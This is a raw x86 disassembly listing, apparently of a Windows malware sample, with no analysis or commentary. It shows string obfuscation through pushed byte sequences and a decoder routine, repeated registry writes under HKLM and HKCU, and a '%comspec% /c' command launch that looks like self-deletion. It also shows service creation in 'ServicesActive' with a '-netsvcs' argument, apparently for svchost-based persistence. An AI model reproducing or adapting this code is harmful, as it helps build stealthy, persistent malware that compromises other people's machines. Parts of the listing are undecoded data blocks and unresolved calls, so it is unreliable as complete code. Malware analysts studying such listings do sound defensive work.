call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
dd 8D50FFFFh, 0A8248Ch, 28680000h, 5100443Bh, 0C90BE890h
dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 41270BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h
dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0E8900000h, 23D2B9Fh, 874C085h, 0E890006Ah
dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB10 proc near ; CODE XREF: sub_401195j
mov al, byte_447191
test al, al
jz short loc_40DB24
push offset word_447192
call near ptr 27D099Dh
nop
loc_40DB24: ; CODE XREF: sub_40DB10+7j
mov al, 1
retn
sub_40DB10 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB40 proc near ; CODE XREF: sub_401E5Bj
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DB40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
call near ptr 2861D55h
nop
push eax
nop
call near ptr 2861191h
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27B0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017E4
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_443684
push ecx
nop
call near ptr byte_5EA1BD
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
nop
call near ptr 284036Ch
mov esi, eax
test esi, esi
jbe loc_40E0A1
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_401424
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019B5
add esp, 18h
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+708h+var_634]
push 4
push ecx
mov byte ptr [esp+710h+var_4], 2
call sub_4019B5
add esp, 30h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019B5
add esp, 18h
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+714h+var_67C]
push 4
push eax
mov byte ptr [esp+71Ch+var_4], 4
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019B5
add esp, 1Ch
mov [esp+6E0h+var_6C8], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+708h+var_5D4]
push 7
push edx
mov byte ptr [esp+710h+var_4], 6
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+714h+var_58C]
push 4
push ecx
mov byte ptr [esp+71Ch+var_4], 8
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
mov byte ptr [esp+734h+var_4], 9
push 18h
push 5
push 4Eh
push 14h
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019B5
add esp, 7Ch
mov [esp+6E0h+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+6F8h+var_5BC]
push 53h
push eax
mov byte ptr [esp+700h+var_4], 0Ah
call sub_4019B5
add esp, 20h
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019B5
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017E4
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017E4
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017E4
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017E4
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017E4
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017E4
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017E4
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017E4
push eax
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
lea edx, [esp+710h+var_6AC]
push edx
call sub_40102D
add esp, 34h
lea ecx, [esp+6E0h+var_64C]
mov byte ptr [esp+6E0h+var_4], 0Bh
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017E4
push eax
push esi
call near ptr 27C0000h
nop
push esi
nop
call near ptr 28207DAh
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2861D55h
push eax
call near ptr 2861191h
nop
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
nop
call near ptr byte_5EA1BD
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
lea eax, [esp+6FCh+var_110]
push 0
push eax
push 0
nop
call near ptr 27E0533h
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E0A1: ; CODE XREF: sub_40DB40+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DB40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E220 proc near ; CODE XREF: sub_401726j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_401424
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
mov ebp, dword_50F754
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2920000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28E0000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017E4
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2920000h
nop
mov edx, [esp+80h+var_70]
push edx
call near ptr 28E0000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2920000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28E0000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2920000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28E0000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2920000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28E0000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E220 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_401447j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E7A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_401424
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
mov esi, dword_50F754
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
mov ebp, dword_50F764
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_50F738
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000002h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000002h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000001h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E7A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EC30 proc near ; CODE XREF: sub_401497j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40EC30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_401424
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C5D
push eax
nop
call near ptr 27E0000h
lea ecx, [esp+5Ch+var_3C]
call sub_401424
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+60h+var_24]
call sub_4017E4
push eax
lea eax, [esp+64h+var_3C]
push offset dword_443684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_401424
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402153
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40EC30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED70 proc near ; CODE XREF: sub_402153j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40ED70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
nop
call near ptr 28E09F4h
mov edi, eax
test edi, edi
jnz short loc_40EDAF
xor al, al
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EDAF: ; CODE XREF: sub_40ED70+36j
lea ecx, [esp+54h+var_24]
call sub_401424
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017E4
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017E4
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_447864
call sub_4017E4
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017E4
push eax
push edi
nop
call near ptr 28E0CA5h
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EE95
nop
call near ptr 27A0799h
cmp eax, 431h
jnz short loc_40EE79
mov ecx, [esp+54h+var_44]
push ebp
call sub_401942
mov esi, dword_50F74C
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_401497
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE79: ; CODE XREF: sub_40ED70+CBj
push edi
nop
call near ptr 28F0000h
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE95: ; CODE XREF: sub_40ED70+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
nop
call near ptr 28F02CDh
test eax, eax
push esi
mov esi, dword_50F74C
jnz short loc_40EEEC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EEEC: ; CODE XREF: sub_40ED70+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EF00: ; CODE XREF: sub_40ED70+3Aj
; sub_40ED70+104j ...
